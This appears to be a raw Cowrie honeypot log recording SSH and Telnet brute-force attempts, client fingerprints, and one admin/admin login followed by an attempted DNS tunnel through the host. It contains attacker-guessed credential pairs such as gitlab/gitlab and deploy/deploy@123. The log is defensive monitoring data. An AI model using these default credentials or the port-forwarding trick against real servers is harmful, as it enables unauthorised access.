{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:0d:71:28:24:85:99:69:cc:5d:3f:42:f5:f0:b9:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh3vTXJa86hUOfegMj1sSpDmA3Ba1r2NfExhPSnhYdbWukqMDLZ9a2PVMNZx0vMBwkvfVQFCu8Tx+L68zmjajCYqVql4Gm/DVxIL1pBlzDSWgHahE490jkvTbCJbwsXfuB5rVdyyZ/UnNpkg7yjD1s3xXuF3vgMhBdXvrlohuSMX6svN4LZj3X6voEVSAEB5TofgHpQEqaKGzRd5bas+GQpS7dUprlZ3aKRo4jUQS5IiyKcPgYTQvY1DpmL+UaNbbdUs2qDn++psTHGgUqzaRqxp3dvC3GR+kFTn7epnm2BgM/6xGC6JcvFnNgAxVBq2PtAYHX5sLG3hfB32NOKV0f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:0d:71:28:24:85:99:69:cc:5d:3f:42:f5:f0:b9:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:11.070273Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:0d:71:28:24:85:99:69:cc:5d:3f:42:f5:f0:b9:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh3vTXJa86hUOfegMj1sSpDmA3Ba1r2NfExhPSnhYdbWukqMDLZ9a2PVMNZx0vMBwkvfVQFCu8Tx+L68zmjajCYqVql4Gm/DVxIL1pBlzDSWgHahE490jkvTbCJbwsXfuB5rVdyyZ/UnNpkg7yjD1s3xXuF3vgMhBdXvrlohuSMX6svN4LZj3X6voEVSAEB5TofgHpQEqaKGzRd5bas+GQpS7dUprlZ3aKRo4jUQS5IiyKcPgYTQvY1DpmL+UaNbbdUs2qDn++psTHGgUqzaRqxp3dvC3GR+kFTn7epnm2BgM/6xGC6JcvFnNgAxVBq2PtAYHX5sLG3hfB32NOKV0f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:11.074546Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:11.098753Z","src_ip":"216.59.16.40","session":"d2a657b272f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:11.967936Z","src_ip":"8.218.166.49","session":"5302ea5b93c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53662,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cca00274646","protocol":"ssh","message":"New connection: 8.218.166.49:53662 (10.17.0.5:22) [session: 5cca00274646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:49.603400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:50.290197Z","src_ip":"8.218.166.49","session":"5cca00274646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:50.294513Z","src_ip":"8.218.166.49","session":"5cca00274646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:54.473900Z","src_ip":"8.218.166.49","session":"5cca00274646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:48:55.757507Z","src_ip":"8.218.166.49","session":"5cca00274646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54568,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f7f79fef142","protocol":"ssh","message":"New connection: 8.218.166.49:54568 (10.17.0.5:22) [session: 4f7f79fef142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:31.147924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:31.218981Z","src_ip":"8.218.166.49","session":"4f7f79fef142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:31.789334Z","src_ip":"8.218.166.49","session":"4f7f79fef142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:32.703744Z","src_ip":"8.218.166.49","session":"4f7f79fef142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:38.296438Z","src_ip":"8.218.166.49","session":"4f7f79fef142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":46218,"dst_ip":"10.17.0.5","dst_port":22,"session":"c554a09013b7","protocol":"ssh","message":"New connection: 14.63.196.175:46218 (10.17.0.5:22) [session: c554a09013b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:44.016214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:44.022125Z","src_ip":"14.63.196.175","session":"c554a09013b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:44.223575Z","src_ip":"14.63.196.175","session":"c554a09013b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:45.061427Z","src_ip":"14.63.196.175","session":"c554a09013b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:49:46.266267Z","src_ip":"14.63.196.175","session":"c554a09013b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56044,"dst_ip":"10.17.0.5","dst_port":22,"session":"10c32d7c2581","protocol":"ssh","message":"New connection: 8.218.166.49:56044 (10.17.0.5:22) [session: 10c32d7c2581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:01.469118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:01.502646Z","src_ip":"8.218.166.49","session":"10c32d7c2581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45734,"dst_ip":"10.17.0.5","dst_port":22,"session":"301fbfc80216","protocol":"ssh","message":"New connection: 8.218.166.49:45734 (10.17.0.5:22) [session: 301fbfc80216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:11.853975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:11.859000Z","src_ip":"8.218.166.49","session":"301fbfc80216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:12.063928Z","src_ip":"8.218.166.49","session":"301fbfc80216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43614,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fa2b8779b8e","protocol":"ssh","message":"New connection: 8.218.166.49:43614 (10.17.0.5:22) [session: 9fa2b8779b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:19.041739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:19.052546Z","src_ip":"8.218.166.49","session":"9fa2b8779b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48934,"dst_ip":"10.17.0.5","dst_port":22,"session":"748d64634a1b","protocol":"ssh","message":"New connection: 8.218.166.49:48934 (10.17.0.5:22) [session: 748d64634a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:26.739187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:38.369549Z","src_ip":"8.218.166.49","session":"748d64634a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:38.572611Z","src_ip":"8.218.166.49","session":"748d64634a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30346,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9fe17a01215","protocol":"ssh","message":"New connection: 87.251.64.176:30346 (10.17.0.5:22) [session: c9fe17a01215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:38.754728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:38.759514Z","src_ip":"87.251.64.176","session":"c9fe17a01215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:38.857590Z","src_ip":"87.251.64.176","session":"c9fe17a01215","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:39.147697Z","src_ip":"87.251.64.176","session":"c9fe17a01215","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:39.250121Z","session":"c9fe17a01215","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:39.347430Z","src_ip":"87.251.64.176","session":"c9fe17a01215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:39.447402Z","src_ip":"87.251.64.176","session":"c9fe17a01215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.180.36.155","src_port":38200,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cbaaa02c041","protocol":"telnet","message":"New connection: 82.180.36.155:38200 (10.17.0.5:23) [session: 6cbaaa02c041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:45.157974Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:58.217630Z","src_ip":"8.218.166.49","session":"9fa2b8779b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.792836666107178,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:50:58.950689Z","src_ip":"82.180.36.155","session":"6cbaaa02c041","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:51:11.277519Z","src_ip":"8.218.166.49","session":"748d64634a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:51:16.140089Z","src_ip":"8.218.166.49","session":"301fbfc80216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.139.217","src_port":64750,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cd23b37d38f","protocol":"telnet","message":"New connection: 45.181.139.217:64750 (10.17.0.5:23) [session: 9cd23b37d38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:51:22.428877Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.139.217","src_port":65050,"dst_ip":"10.17.0.5","dst_port":23,"session":"cafab06db8d2","protocol":"telnet","message":"New connection: 45.181.139.217:65050 (10.17.0.5:23) [session: cafab06db8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:51:23.447635Z"}
